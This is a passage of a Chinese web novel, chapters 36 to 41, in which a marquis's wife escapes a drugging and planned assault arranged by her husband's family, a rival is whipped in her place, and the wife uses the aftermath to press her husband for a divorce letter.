伴竹和住持闻言立马走过去,伴竹拿起了桌上的两个茶杯查探,先是用手抹了抹杯口,又闻了闻味道,之后又拿起茶壶同样检查了一番。 “茶壶里的茶水没问题,是有人专门在这杯子里下了药,而且只有这一个杯子被下了药。” 杜明月看着伴竹举起的茶杯,那果然是自己刚才用过的。 她脸色苍白的攥紧了双手,她不明白段老夫人今日为何要给自己下药,而段骆岐他们到底又背着自己干了些什么? “好在只是蒙汗药。”伴竹再次确认后开了口。 “走。”慕子叙像是突然想起了什么,长眉微动,立马俯身将杜明月扶了起来。 杜明月也知道,这屋子已经不能再呆了,段老夫人故意将自己迷晕,一定是有目的,而自己现在还没事,只能说明她安排的人还没到。 住持带着杜明月等一行人出了屋子,进了后院的厢房,从打开的窗户里,还能看到前院人来人往的回廊。 “伴竹,你跟去看看到底是怎么回事?”慕子叙坐下,见红豆要往外走,瞥了一眼一旁抱着长剑的伴竹。 第三十六章 李代桃僵 伴竹身形一顿,握紧剑鞘,跟着红豆一起去了。 两人才刚回到前院,在走廊的拐角处,就看到柳楹莹鬼鬼祟祟的,在刚才杜明月晕倒的房门前东张西望。 “那是谁?”伴竹抬眸,压低声音小声问了一句。 红豆一看见柳楹莹,就气的双手紧紧的攥成拳头。 “说不定给我家主子下药这事儿,她也有份,没错,就是她和段老夫人合谋,不然怎么会主子一晕倒,他们都不见了。” “不行,我不能让她这么得意!”红豆说着,便气呼呼的撸起袖子准备冲出去。 伴竹见状一慌,急忙拉住她,小声道,“你干什么,公子是让我们来查探情况的,你弄出动静来,别把事情搞砸了。” 红豆却不满的白了他一眼,压低声音道,“我当然知道了,我现在跟着我家主子,早就学聪明了。” 说着,她拉下伴竹的手道,“你跟我来就是了。” 红豆带着伴竹偷偷的绕到柳楹莹的背后,两人习武,脚步轻的几乎听不见,在柳楹莹犹豫着准备转身时,红豆猛地抬手,狠狠一个手刀下去,直接将她打晕了。 “开门。”红豆小声催促,伴竹似乎突然就明白她想干什么,立马十分配合的推门进去。 两人动作迅速的将柳楹莹搬到了床上,红豆甚至还贴心的给她脱了鞋子,盖上被子,蒙住了头。 “走。” 时间紧迫,做完这些,红豆和伴竹没有丝毫耽搁,立马轻手轻脚的出了屋子。 两人才刚躲到了帘子后面,就看到一个身着锦绣华服的年轻男人出现,他一脸得意的在门口站定,提了提腰带,面上带着猥琐的笑容,迫不及待的推开了门。 伴竹和红豆对视了一眼,两人大气不敢出,就守在帘子后面。 结果,里面马上就闹出了动静,红豆甚至听到了哭求声、哀嚎声,以及鞭子狠狠抽在皮肉上的声音。 两人想了想,连忙离开去了后院。 红豆正准备将自己所看到的说出来,却看到杜明月面色铁青,眼里闪着仇恨的光芒,正出神的喃喃自语着。 “是董宇,竟然是他!”杜明月刚才已经远远看见董宇经过前面的长廊,直奔着她原来的房间去了。 她现在已经全然明了,她今日面对的到底是什么状况了。 是段骆岐!一定是他! 如果不是他的默许,段老夫人和董宇不可能配合的这么默契。 他是想让自己和董宇共处一室,受其凌辱吗? 她原本以为段骆岐只是狠毒了一些,没想到他连最基本的寡廉鲜耻都没有了。 他甚至都没想过,如果今日董宇真的得手,日后镇南侯府面对的将会是什么局面,他竟完全不在乎,会被人戳脊梁骨! “主子?”红豆一脸担忧的看着,见自己叫了几次,杜明月都没有反应,有些不知所措的看向了一旁的慕子叙。 慕子叙默默的看着杜明月,眼底更是浓浓的化不开的心疼与愤怒。 “侯夫人?侯夫人。”慕子叙薄唇微启,轻轻的唤了几声,杜明月这才突然回过神来。 只是杜明月一回过神,便急忙起身,向他行礼。 “今日多谢慕公子出手相救,我还有要事要处理,改日一定亲自道谢。”杜明月匆忙准备告辞,她刚要转身,手腕却突然被人拉住了。 她意外的抬眸,便撞入了慕子叙那双星光熠熠的眸子,原本躁动不安,无比愤怒的内心像是突然得到了安抚,整个人都冷静柔软了下来。 奇怪,慕子叙似乎总能带给她这样的感受。 杜明月来不及深究这到底是一种什么感觉,在慕子叙察觉到失礼,收回手后,还是立马转身带着红豆离开了。 两人等董宇离开后,在房门前偷偷站了片刻,想确认一下房间里柳楹莹的情况,但让她们意外的是,房内一片,寂静什么声音都没有。 两人对视了一眼,觉得不对劲,立马推门进去,走近一些,就看到柳楹莹竟然满身是血的晕了过去。 杜明月细细查看她衣服上的血痕,发现是被鞭子抽打出来的。 她猛然想起,一年前的花灯节,她碰见董宇时,他手里正拿着鞭子,在那里欺男霸女、欺凌弱小。 杜明月回过神,目光再次落到柳楹莹的身上。 她可以想象的出来,董宇来了以后,发现床榻上躺着的不是自己,他会是什么反应。 或许感觉自己被骗了,无能狂怒下,便用鞭子狠狠抽了柳楹莹一顿出气。 虽说她昨日才刚决定和柳楹莹合谋,但今日自己被下药,她亲眼看到自己晕倒,还是决定和段老夫人一起离开了,那她也算是段骆岐他们的同谋,挨一顿鞭子也不委屈! “主子,现在打算怎么办?”红豆忧心忡忡的开口,时不时还看一眼门口,总担心会有什么人突然出现。 此时杜明月已经完全清醒过来,也能冷静思考了,只是沉默了片刻,她便开口坚定的道,“李代桃僵。” 红豆还没有反应过来这是什么意思,就看到杜明月已经开始上手扒柳楹莹的血衣了。 “快,帮我把她身上这件带血的衣服脱下来,一会你带她走,我一个人留在这里。”杜明月说话时,动作也完全不停。 既然段骆岐自己脸都不要了,自甘受辱,让董宇这个无根之人羞辱他镇南侯府的夫人,那她就更不在乎什么名声名节了,直接将计就计。 杜明月动作迅速的换上了柳楹莹的血衣,将自己的外衣扔给红豆,看着她随意的往柳楹莹身上一裹,便催促她赶紧离开。 红豆立马将晕倒的柳楹莹甩在了自己的肩上,像抗麻袋似的直接将人扛了出去。 她前脚刚走,杜明月立马将房门关上,端坐在桌前,平复了下呼吸,等着段骆岐找上门来。 果然又过了差不多一刻钟左右,段骆岐惊慌失措的冲进来,当看到屋里的杜明月,心里不知为何暗暗松了一口气。 太好了,她还在。 “明月!”段骆岐冲过去,一把握住她的手坐了下来,当注意到她那一身血衣时,先是愣了一下,随后眼中有心虚和愤怒一闪而过。 第三十七章 写下和离书 “你没事吧?”段骆岐犹豫的张了张口,上下打量杜明月。 杜明月一副失魂落魄,反应迟缓的模样,看起来确实像是受到巨大打击,以至于微微有些精神失神。 段骆岐一边担心杜明月大受打击会一蹶不振,一面又为她日后可能完全依赖自己而窃喜。 他暗暗算计的样子完全落入了杜明月眼中,杜明月强忍住想立马给他几个耳光、将他撕碎的冲动,突然眼泪大颗大颗扑簌簌的落下来。 她猛地抓住段骆岐,边哭边大声质问道,“段骆岐!你怎么能让董宇如此羞辱于我!你不会良心不安吗?你不在乎侯府的名声了吗?你疯了吗!” 段骆岐被逼问的心中酸涩,十分难受,但又无法承认,只能紧紧抓住她的手,试图安抚她。 “明月,你冷静一点,我怎么可能会做这样的事情,这是意外,是意外。”段骆岐喃喃的重复着,像是在哄骗杜明月,又像是在哄骗自己。 他见杜明月愣愣的沉默了,便立马一脸心疼的安慰她道,“没事了,没事了。” “今日的事情没有人敢说出去,也不会有其他人知道,好在那董宇已经是个废人了……” 段骆岐的话还没有说完,杜明月不可置信的看着他摇头道,“他是个废人就没事了?你就不计较了?你是镇南侯啊,这么大的屈辱你竟然不追究?” 段骆岐尴尬的别开眸子,像是生怕被杜明月看出她的心虚。 “明月,我知道你没有背叛我就够了,你也不必自责,我不会怪你,跟我回去,从此以后咱们好好过日。” 段骆岐试图抱住杜明月,杜明月却只觉得他此刻揣着明白装糊涂的样子虚伪又恶心。 杜明月突然起身,抽出手狠狠的给了他一个耳光。 “你不怪我?你凭什么怪我?明明就是你母亲给我下的药!你还要骗我到什么时候!” 杜明月的美眸满是质问和愤怒,段骆岐一时语塞,眼底闪过一抹惊慌。 “没有你的授意,你母亲能将我带来下药?董宇能找得到这里来?”杜明月歇斯底里的喊着,“段骆岐!你不是人!” “明月,你冷静一点。”段骆岐像是生怕她声音大的引来旁人似的,连忙一把抓住了她的胳膊。 杜明月突然倒吸一口凉气,眉头紧拧,做出一副十分痛苦的模样,让段骆岐再次注意到她的血衣。 他没想到董宇竟然会下这么重的手! 段骆岐想象着这件血衣下,她满身伤痕的模样,心中对董宇的怒意和恨意更深了。 杜明月看他愣神,眸子一动,又呜呜咽咽的哭了出来,“我虽是商贾之女,可还是知道礼义廉耻的,如今遭受这样的屈辱,我还怎么活!” “我恨董宇为什么不干脆打死我!”杜明月觉得梨花带雨,一副肝肠寸断的模样,让段骆岐不免有些心疼和后悔。 “他应该打死我的!”杜明月突然推开段骆岐就要往一旁的柱子上撞,“我没法活了!” 不出意外,段骆岐一惊,果然将她拉了回来,紧紧的抱在了怀中。 杜明月柳眉紧蹙,强忍着心中的不适没有推开她。 她虽然一刻也无法忍受段骆岐的怀抱,但想想她今日的目的,还是让自己努力硬撑了下来。 “明月,没事的,真的没事的,你还是我侯府的夫人,没人能把你怎么样。”段骆岐按着她的肩膀,将两人拉开了一些距离,他低头动容的看着杜明月,真的心疼了。 杜明月却在他的目光抽噎着肩膀,摇了摇头,一副绝望的模样。 “老夫人早就视我为眼中钉肉中刺了,她那么重视侯府的面子,觉不容许有人损害一分一毫侯府的名声。我不能再回侯府了。” 杜明月抬眸,双眼湿漉漉的,如同一只受惊的小鹿,惹人心生怜爱。 段骆岐终究是心软的败下阵来,他叹了口气,声音温柔道,“你相信我,母亲不会拿此事为难你的……你,到底怎样才会愿意相信,愿意跟我回去。” 杜明月低头擦泪,心头却是暗暗一喜。 她的目的达到了。 “那你现在就先给我一份和离书吧。”杜明月抬眸,一脸认真替他考虑的模样,“这样,我和你回府以后,如果外头有人说闲话,就能立马拿出和离书,与侯府撇清关系,这样就不会有人诋毁侯府,所有的流言蜚语只会冲着我一个人。” “至于老夫人那边,如此拿此事刁难我,我也可以拿出和离书,证明并非是我要赖着不走,毁了侯府百年来的好名声。” 段骆岐见杜明月言辞恳切,十分真诚,心中虽有狐疑,但也信了大半。 “你当真是这么想的,”段骆岐犹豫了下,还是问道,“那你的名声呢?如此一来,你欲将你的名声置于何地?” 杜明月闻言心里冷笑了一下,名声这种东西有什么重要的。 一个人,尤其是一个女人,最是不能被这种东西绑住,总不能为了守着一个毫无意义的贞节牌坊,活活困死自己吧! 杜明月抬头,盈着泪光的眸子十分坚定。 “不重要,我不在乎,因为我知道有比我的名声更重要的东西需要维护。” 段骆岐被杜明月这推心置腹,掏心窝子的话打动了,他立马走到了一旁的书案前,提笔研磨落于纸上,只片刻功夫,他便将和离书一气呵成的写完了。 杜明月站在他身侧,目光紧紧追随,看他写完“岐”字的最后一笔,抿了抿唇,克制住想要上扬的嘴角。 段骆岐将和离书拿起,待纸上的墨迹阴干,转头欲交到杜明月的手上,却在最后一刻突然反悔了。 段骆岐的手在触碰到杜明月的指尖时,犹如被烫了一下,急忙的将和离书收回。 这个动作看得杜明月一愣,双手顿在半空,不解的抬眸看他。 “反正,你还是要跟我回侯府的,”段骆岐理直气壮的道,“你也说了,只有当外头起了流言蜚语,有人诋毁侯府名声的时候,你才会把这个拿出来的,那现在就放在我这里,我代为保管。” “你很着急想要拿到手吗?” 段骆岐再次试探着开口,杜明月微微蹙眉,眸子深了几分。 第三十八章 撕下遮羞布 杜明月看着眼前的段骆岐暗暗咬牙,藏在袖子里的双手也用力攥紧。 她现在真的很想狠狠地甩段骆岐几个耳光,然后夺了和离书就走,但她知道她不能。 先不说她和段骆岐力量悬殊,即便她现在有红豆能立马冲进来保护自己,现在交恶也是不明智的,因为那对她接下来要处理的事情没有任何好处。 这么想着,杜明月只能按压自己心中熊熊燃起的怒火,尴尬的扯了扯嘴角,继续和他说着违心的话。 “不着急……”杜明月艰难开口,露出一抹逆来顺受、温和的笑容道,“无论如何,你不和我计较这件事,已经很难得了。” 段骆岐没听出她话里的明褒暗讽,还洋洋得意了起来,“你能明白我的苦心就够了。” 短暂的沉默后,杜明月突然开口道,“可是今日董宇突然出现,还这么对我,侯爷你不追究吗?还有老夫人给我下药,这件事难道就这么算了吗?” 她的话让段骆岐一愣,整个人肉眼可见的慌张了起来。 他有些语无伦次的道,“这件事……上次霖儿打伤董宇,董丞相处处为难于我,这次有了这个契机,我也能反过来拿捏住他了,你相信我,不会让你白受这委屈,我日后一定给你讨回来……只是现在不行,再找上门交恶就不好了……” “母亲……母亲她也一定不是故意的,她给你下药,可能……可能只是觉得你从东宫出来后,行事反常,才想让你在这珈蓝庙好好休息下,顺便赶走附在你身上的那些邪祟,她也一定不会想到事情最后会变成这个样子……” 杜明月静静的看着段骆岐瞎编,她不知道什么时候觉得他这么陌生,她完全想象不出来,当初竟是这样的一个人救了自己。 真的是他救了自己吗? 一个念头不经意间在脑海里闪现,杜明月自己都心惊了一下。 回过神来,杜明月暗暗感叹,虽说自己当初确实是因救命之恩,才一心嫁给段骆岐的,但即便今日才看清他的真面目,她也并不后悔自己的决定。 人生没有后悔药,她不会将自己困在过去,她始终自信,她有能力千万次救自己于水火,开始新的人生。 “结论是……不行,是吗?”杜明月突然冷静的开口,段骆岐一愣,屋内陷入了令人尴尬的沉默。 就在段骆岐拼命的想要说些什么打破这尴尬时,房门突然被人大力推开了,是段骆霖冲了进来。 “大嫂!”段骆霖一声惊呼,人已经冲到了杜明月跟前。 他不安的瞪大了眸子上下打量杜明月,杜明月看着如此及时找来的段骆霖,心中突然又明白了一些。 今日的事,段骆霖一样也有份! 或者说,劝说段老夫人给自己下药的,就是段骆霖! 一想到这里,杜明月牙关咬的更紧了,看着段骆霖的眸子危险的眯了起来。 “还好只是受了些伤。”段骆霖说完,甚至完全不关心杜明月的感受如何,反而转头安慰起段骆岐来了。 “大哥,没事的,没事的。”段骆霖语气轻松道,“那董宇是个废人,大嫂也只是受了些皮外伤,不碍事的,等回府……” “啪!” 段骆霖才刚刚回过头想看一眼杜明月,却被迎面而来的一把巴掌打的踉跄了一步。 他有些发懵的看着杜明月,却只见杜明月朝着自己又走了一步,抬起手狠狠地将巴掌继续甩在自己脸上。 段骆岐也被这一幕惊呆了,直到杜明月打了大概有十个巴掌,他才反应过来,急忙伸手拉住了她的胳膊。 “只是受了皮外伤?董宇是个废人?”杜明月原本清脆的嗓音此刻变得有些尖锐,她激动的大喊,“你的意思是我受辱也不重要?你要不要去问问董宇他是怎么羞辱我的!” 段骆霖有些被杜明月的举动吓到了,捂着脸迟迟不敢说话。 “你去问问他,他有没有撕开我的衣服,他是怎么一鞭一鞭打下来的!” 杜明月歇斯底里的吼着,如同这些事情真的发生在她身上一般。 杜明月心里明白,如果自己今日没有躲过去,那么这些都将是实实在在发生在自己身上的,而这些段骆岐和段骆霖也都知道! 他们什么都知道!他们只是不敢承认,只是在自欺欺人! 既然如此,那么她就撕下这遮羞布,将这话说的明明白白给他们听! “明月!够了!不要再说了!”段骆岐紧紧的抱着躁动的杜明月,看着杜明月因为激动、愤怒涨红的脸,几乎将后槽牙咬碎,心痛的喘不上气来。 段骆霖也微微有些发抖,瞪大的眸子里布满了血丝,内心受到巨大的震动,久久说不出话来。 “放开我!”感受到段骆岐的触碰,杜明月只觉得一阵恶寒蔓延全身。 从段骆岐的怀抱挣脱出来后,她转身顺手狠狠给了段骆岐一巴掌,段骆岐被打得低下头,久久没有动作。 杜明月看着眼前虚伪恶劣的兄弟二人,觉得有些窒息,一刻也无法和他们待在一间屋子里,立马转身就要出门。 红豆因听到屋里闹出这么大的动静,便也有些担心的冲了过来,她才到门口就看到了准备出门的杜明月。 主仆二人对视一眼,红豆立马安静的跟上了杜明月的步伐,两人匆匆离开了。 “大哥……” 短暂的沉默后,段骆霖犹豫的看向段骆岐,声音微微颤抖的开了口,“大嫂她……” “别说了,什么都别说了!”段骆岐心情低落,十分不耐烦的打断了他的话,接着拔腿便离开了这间让人压抑的屋子。 被留下的段骆霖捂着脸一脸茫然:奇怪,这件事不是大哥决定的吗,怎么现在好像变成自己一个人的错一样。 头疼欲裂的段骆岐脚步虚浮的走到正殿,看到殿内有许多百姓跪下祈愿,有那么一瞬,他也想跪下来,替他和杜明月再求一个他们的孩子。 段骆岐站了许久,最终还是没有跪下来,当他回过神转身要走的时候,突然看到了一旁的长明灯。 灯上,杜明月的名字和她的亲笔字迹,突然刺得他眼睛一疼。 第三十九章 我会好好安抚 段骆岐慌忙走过去,认真仔细的看着长明灯上的每一个字,眸子因震惊而瞪大。 “这……这是……”段骆岐张了张口,不敢置信的捂住了嘴巴,震惊的眸子里蒙上了一层水雾。 长明灯上那另外两个陌生的名字,竟然是杜明月给他们未出世的孩子取的名字。 段骆岐双手颤抖的捧着杜明月点亮的长明灯,似乎能够看到,她是抱着怎样悲痛的心情亲手写下这些名字。 这长明灯寄托了她的思念和悲痛,在写下这些内容的时候,杜明月大概不会猜到接下来她会遭遇些什么。 一想到这里,段骆岐的心传来一阵阵的钝痛,这痛意让他几乎站立不住。 他放下长明灯,转而捂着心口靠在了一旁的柱子上,即便咬紧了牙关,还是有眼泪止不住的顺着脸颊流淌下来,他痛苦的闭上了眼睛。 杜明月说的对! 他真的不是人!他今日干的更不是人事! 一想到杜明月穿着血衣站在自己面前的模样,他对董宇的恨意和愤怒转变成对自己的无能狂怒。 他突然睁开眼睛,抬手就狠狠的打了自己十几个巴掌。 巴掌抽打在面庞上的清脆声响,立马引起了周围拜佛路人的注意,许多人不认识这个镇南候,只是觉得他的举动未免有些反常,让人害怕。 “走走走,这人怕不是疯了,小心别被缠上。” “人真是活久了,什么场面都能碰到,也不知道他是不是发生什么事了?” “不要多管闲事,咱们拜完了赶紧走。” 众人低声议论的声音此起彼伏的落入耳中,段骆岐却都充耳不闻,直到他将自己的脸颊打得麻木了,手心也传来微微的胀痛,这才停下手来。 段骆岐无力的垂下手臂,他茫然抬头,失魂落魄的看向外面,如同行尸走肉一般的迈出了步子,走出殿内。 眼前人来人往,段骆岐穿梭其中,只觉得阳光有些刺眼,让他抬不起头,看不清眼前的景象。 不知过了多久,也不知自己到底是怎么走下层层台阶,段骆岐猛然回神,发现他已经下山了,而旁边就是他们镇南侯府的马车。 不远处似乎有个熟悉的身影,段骆岐定睛细看,竟是段骆霖,他此时也如同霜打的茄子一般,失魂落魄的朝着这边走着。 或许是感受到了他的视线,段骆霖抬起头来,目光直直的落在段骆岐的身上。 兄弟二人相顾无言,细看之下,都发现了对方的脸颊微微肿起,带着鲜明的手掌红印。 “大哥,你?”段骆霖一愣,心中疑惑,难不成他也被杜明月打了? 段骆岐知道他想问什么,并没有直接回答,而是低沉着嗓音道,“先上车吧。” 段骆霖叹气,只能跟在段骆岐的身后进了马车,两人坐稳后,心情也平复了许多,这才能够平静的对话了。 “今日的事情,明月确实受辱了,不过这不是她的错,以后也别再提了。”段骆岐缓缓开口,声音低沉。 “嗯。”段骆霖应了一声后,久久没有开口,马车内陷入一片让人心情低落的安静。 半晌,段骆霖又突然开口道,“大哥,我们是不是真的做得太过了?” 段骆霖盯着段骆岐的眸子,心生悔意和不安,“自从大嫂从东宫出来以后,我们好像对大嫂真的太差劲了,她会不会真的心生怨恨不要我们了?” “不会的!”段骆岐立马出声否认,他不相信,也不能够接受这种事情发生。 车身突然晃动了一下,马车动了,马车夫在外头挥着鞭子,发出了“驾、驾”赶马车的声音。 段骆岐察觉到自己刚才似乎有些失态,立马低下头冷静下来。 “明月就是在闹脾气,”段骆岐攥紧了自己的双手,试图缓解心中的不安,“今日发生这样的事情,她一定受了不小的惊吓,我会好好安抚她的。” 段骆霖看着这样的段骆岐,沉默了许久,最终只是垂下了眉眼有些无力的道,“大哥我知道了。” “这次为了我们段家,大嫂真的承受了太多,大哥你一定要好好弥补大嫂。”段骆霖将脸转向窗外,眸子晦暗不明的开口说着。 “嗯,我一定会的!”段骆岐坚定的开口,内心因为这个决定,似乎又重新燃起了希望。 镇南侯府,偏院。 房中,柳楹莹紧紧的抓着自己身上的披风,整个人如同惊弓之鸟一般浑身发抖,眼神也因为过于惊恐而显得有些失了焦。 “柳姑娘!”杜明月见唤了几次柳楹莹的名字后,她都没有反应,不禁提高了音量又喊了一次。 “嗯?”柳楹莹吓了一跳,立马抬头看向杜明月,那双失神的眸子顿时盈满了热泪。 “你不用担心,是我和红豆进去将你救了出来,没有第三个人知道这件事,你现在已经安静被我们带回偏院了。” 杜明月伸手试探着将手落在她的肩上,见她只是抖了一下,并没有吓得立马推开自己的手,杜明月心里便明白了,她的理智还在,没有被完全吓傻。 在杜明月的眼神安抚下,柳楹莹冷静了一些,她抬头看到熟悉的屋子,确信自己真的安全了,紧绷感才终于消失,提着的一颗心总算落了下来。 “我可以帮你遮掩,我已经换上了你的血衣,即便有人瞧见了我也没关系。”杜明月注视着柳楹莹的眸子,带着暗示和引导道,“你只要将发生的事情如实告诉我即可。” 闻言,柳楹莹的眸子一下子惊恐的瞪大,死死的盯着杜明月,像是在怀疑她的用心一般。 杜明月猜到她可能会是这个反应,神色泰然的暗暗威胁道,“如果你不说,我不清楚细节,我想替你遮掩都遮掩不了,你觉得段老夫人那么重视镇南侯府名声的一个人,还会留下你吗?” 柳楹莹的身子又是一抖,显然被杜明月刺中了痛处。 杜明月很满意她的这反应,淡淡勾唇道,“我同你说过的,我会与你结盟,给你想要的,我只要和离,所以我不在乎名声,自然也会心甘情愿的替你背下这件事。” 柳楹莹不可置信的看着她,犹豫了许久,似乎终于终于想通了。 第四十章 威胁柳楹莹 “你真的要替我背下这件事吗?”柳楹莹眸子里闪着光,带着某种劫后余生的欣喜。 杜明月再次坚定的点了点头,柳楹莹红着眼睛咬着唇,一滴泪落下,她终于决定要开口了。 “事先说下,段老夫人会给你下药这事我确实不知。”柳楹莹像是生怕惹恼了杜明月,被她误会一般,着急解释道,“当时看你晕倒,我也吓到了。” 杜明月沉默不语,这一点她信她。 杜明月点头,示意她继续说下去。 “后来,我随段老夫人离开时,因为太过惊慌,不小心下台阶摔了一跤,段老夫人心生不满,就留下我一个人离开了。” 柳楹莹垂下头,回忆起当时的细节。 “后来,我……我想回去将你带走的……”柳楹莹将头垂得更低了,回去的理由,她撒谎了。 杜明月看着她的反应,什么都没有问,但是对她撒谎了这件事,却心知肚明。 柳楹莹一心想做上侯夫人的位置,那么是绝对不会做出不利于侯府的事情,哪怕是在不知情的情况下,她也不会违背段老夫人的决定。 甚至说不定,柳楹莹还在想着,如果她今日遭遇了什么不好的事情,能让她更快的从侯夫人的位置上下来,那么她巴不得能成,这样也省去了两人结盟的麻烦。 想到这一点,杜明月的眸色深了几分,却面色依旧保持平静,没有戳穿她的谎言。 柳楹莹见杜明月没有怀疑和追问,就继续说了下去。 “可不知道到底是谁,竟然突然打晕了我!”说到这里,柳楹莹突然提高了音量,显得愤怒了起来。 红豆闻言,在一旁摸了下鼻子,一副事不关己的模样,微微侧了下身子。 “再后来,我晕倒了,直到一个我不认识的外男突然进来,掀开了我的被子,甚至还上手撕扯我的衣服……” 柳楹莹一想起这屈辱的一幕,抓着披风的手就更紧了一些,眼泪又从低垂的眼眸里大颗大颗的落下。 “我当时就被惊醒了。”柳楹莹抽抽噎噎的继续道,“我大叫了一声,只感觉身上一片凉意,结果那外男突然抬头,看到我时愣了一下,接着突然就恼羞成怒了起来!” “他嘴里嘟嘟囔囔在骂什么,我听不清,我只看到他凶神恶煞的将鞭子抽在我的身上,打在我的每一寸皮肤上,我大叫着挣扎着,堪堪将衣服捡起盖在身上,可是他的鞭子还是没有停……” 柳楹莹的声音都哭哑了,“也不知道他打了多久,我就痛的晕过去了,等到再次醒来时,就看到红豆守在我的身边……” 说到这里,柳楹莹还抬头用感激的目光看了一眼红豆,红豆正巧对上了她的目光,立马起了一身鸡皮疙瘩,急忙抱着胳膊背过身,心虚的眨巴了下眼睛。 杜明月一脸平静的听完这些,内心却已经是暗潮汹涌了。 如果不是柳楹莹机缘巧合替了自己,那么她刚才说的这些都会是发生在自己身上的。 一想到这些,她就恨不能将董宇、段骆岐等人通通杀掉! “你说过你不会说出去的吧?你要替我……”柳楹莹见杜明月迟迟不说话,心中有一瞬间的后悔。 毕竟她被一个外男看光了身子这件事,若是传出去对她百害而无一利,杜明月如果用这件事来拿捏自己呢? 好在下一瞬,她的担忧和疑虑就被杜明月打消了。 “我既亲口答应你了,就绝对不会食言。”杜明月盯着她提醒道,“只要你记得把嘴巴闭紧,从今天开始完全忘掉这件事。” 你不能说,我也不能说,这样她们才都能继续把戏演下去! 柳楹莹一听这话,立马眼眸亮晶晶的看着杜明月道,“你放心,我一定做到!” 杜明月见状,好看的眉头也舒展开来,目光也变得温和怜悯了起来。 她抬手,将一瓶金疮药扔到柳楹莹的怀中,柳楹莹一愣,抬头有些意外的看向她。 “拿去用吧,你身上的伤赶紧好起来,侯爷来看你才不会露馅。”杜明月淡淡的开口,说完转身就走了。 回摘月居的路上,杜明月走得很急,她现在还有一个地方必须要去。 “红豆,你去我的库房取一斗南珠用盒子装了,再去备一辆马车,一会同我一起出门。” 红豆领命,在长廊与杜明月分开行动。 杜明月回了屋子,立马将她身上脏污不堪的血衣脱下来扔到一边,梳洗后换上了一身干净的衣裳,甚至还坐在铜镜前,给自己细细的描了眉。 望着铜镜中妆容精致,头发一丝不苟的自己,杜明月微微出神,脑海中竟然出现了慕子叙的那张脸。 他那双清冷的眸子澄澈透亮,如同一汪清澈的湖水,让人见之忘俗,见之忘忧。 杜明月的神色温和下来,嘴角也无意识的微微上扬。 今日混乱中唯一的幸事,大概就是遇见慕子叙了吧。 几日不见,慕子叙好像比他印象里的模样更好看了。 之前就说要登门道谢,已经拖了好几日,今日慕子叙再次出现救了自己,她必须得赶紧去一趟南风楼道谢了。 红豆抱着满满一箱的南珠,跟随杜明月上了马车。 坐稳后,红豆忍不住问道,“主子,咱们这是要去哪里啊?” “南风馆!”杜明月提高了音量,既回答了红豆,又告知了外头的车夫。 外头的车夫会意,立马一拽缰绳,让马车掉头,接着直奔南风馆而去。 南风馆内,依然是丝竹之乐、靡靡之音不绝于耳。 杜明月一进去,就看到不少女子身旁有身着薄纱的男妓在陪客,她急忙收回目光,将目光落入高台之上。 今日不见慕子叙抚琴,她担心自己来得不是时候,便立马将目光四下望去,搜寻着伴竹的身影。 “伴竹!”杜明月一喜,急忙穿过人群拦住了准备端茶上楼的伴竹,小声道,“带我去见你家公子吧,我是来道谢的。” 伴竹见是杜明月,神色诧异了一下,随即露出了似有深意的微笑,又急忙收敛了笑容客气道,“那你随我来吧,走这边。” 为了不引起其他女客的注意,免得引起骚.乱和不必要的麻烦,伴竹带着她走了另一条不起眼的通道。 第四十一章 好像被调戏了 伴竹带着杜明月登上楼梯,拐上二楼后,竟将手中的茶盘直接递到了杜明月的手中。 “侯夫人,你去吧,走廊尽头的那间房,你之前去过的。”伴竹微笑着道。 杜明月愣了一下,似乎对伴竹的举动有些意外,但是对此也没有拒绝,而是莫名点头答应了下来。 一旁的红豆不解的皱眉,不解伴竹的举动道,“好歹我们来了是客,你怎么能让我家主子端茶进去呢。” 伴竹欲言又止,最后却也只是看着红豆摇头。 这个榆木脑袋! 伴竹一耸肩道,“你别管,我还有事要忙,你也过来帮我。” 说着伴竹就要将红豆拉走,红豆一脸不情愿的晃了晃手里的匣子道,“我还要跟我家主子进去送谢礼呢。” “红豆,没事的,你去看看吧。”杜明月看着两人拉拉扯扯的,急急的开口,“我只是去向慕公子道谢,不会有危险,今日他们救了我,难得伴竹开口,你就去帮个忙吧。” 杜明月担心他们弄出动静,被那些心悦慕子叙的疯狂的女嫖客们看见了,她就走不脱了。 红豆听杜明月都这么说了,她也不再纠结,立马将匣子放在了托盘上,看着杜明月端着这些转身进了走廊尽头的房间,这才转身跟上了伴竹的脚步。 “你啊,要学的东西太多了。”伴竹在前头走得飞快,他勾起唇角,脸上挂着浓浓的笑意道,“我看你首先就得练练眼力见。” 红豆一边飞快的追上了他,一边在他身后不服气的道,“我的眼力见怎么了?我的眼里见好着呢!” 她的话让伴竹脚步一顿,不敢置信的回头看她,像是听到了什么了不得的话一般,随后忍不住回头笑了起来。 红豆被伴竹这一惊一乍,又什么都不说的举动弄得一头雾水,愤愤的瞪了他一眼,两人齐齐消失在楼下的拐角处。 二楼尽头的房间房门紧闭,屋内气氛安静的有些微妙。 杜明月自从进了屋后,动作一直都是轻柔又小心翼翼的。 她先是将茶盘放在了慕子叙面前,接着自己在他对面的位置上坐下。 她的目光除了刚进屋时和慕子叙对视了一下,之后一直没有看他,因此并没有注意到,从她一进来,慕子叙那双温柔又多情的眸子一直系在她身上。 直到杜明月安稳坐下抬眸后,慕子叙才急忙克制住自己眼底的深情,又恢复了往日那副清冷孤傲的姿态。 “多谢慕公子今日搭救,小小谢礼不成敬意。” 杜明月说着,将装着南珠的盒子打开,推到了慕子叙面前。 慕子叙长眉微动,目光落在那一颗颗圆润饱满的珠子上,莹白如玉的外观,在阳光下泛着温润耀眼的光芒。 就像杜明月一般,不尖锐,却耀眼,让人过目难忘。 思及此,慕子叙不自觉的唇角微微上扬,露出一抹似有似无的笑意。 一直在一旁注视他的杜明月微微一愣,她好像是第一次看到慕子叙笑了。 微笑的慕子叙更加妖冶好看了,她好像有些理解宇阳公主和那些女嫖客们为什么对他如此疯狂了。 杜明月急忙回过神来,面带一抹窃喜的笑容道,“慕公子能喜欢这些礼物真的太好了,我还担心公子会不喜欢呢。” 慕子叙闻言回过神来,抬头望着杜明月,似乎另有深意的道,“喜欢,我很喜欢。” 杜明月一愣,但立马笑了,是啊,谁会不喜欢这又大又亮的南珠呢! 杜明月欣慰的想着,还好她现在还有钱财傍身,不然被段骆岐背刺,下场还不知道多惨呢! 一想到段骆岐,杜明月突然从心底升起一抹寒意,脸上的笑容也有些僵住了,神色微微出神。 正盯着她的慕子叙见她眉头微蹙,不知道在想什么,放在桌上的手立马攥紧,心底浮现一抹心疼。 怎么了,她是又想起了什么不开心的事情吗? 是想起段骆岐了吗? 想到这里,慕子叙心中有些说不清道不明的酸涩,他微微垂眸,沉默了片刻。 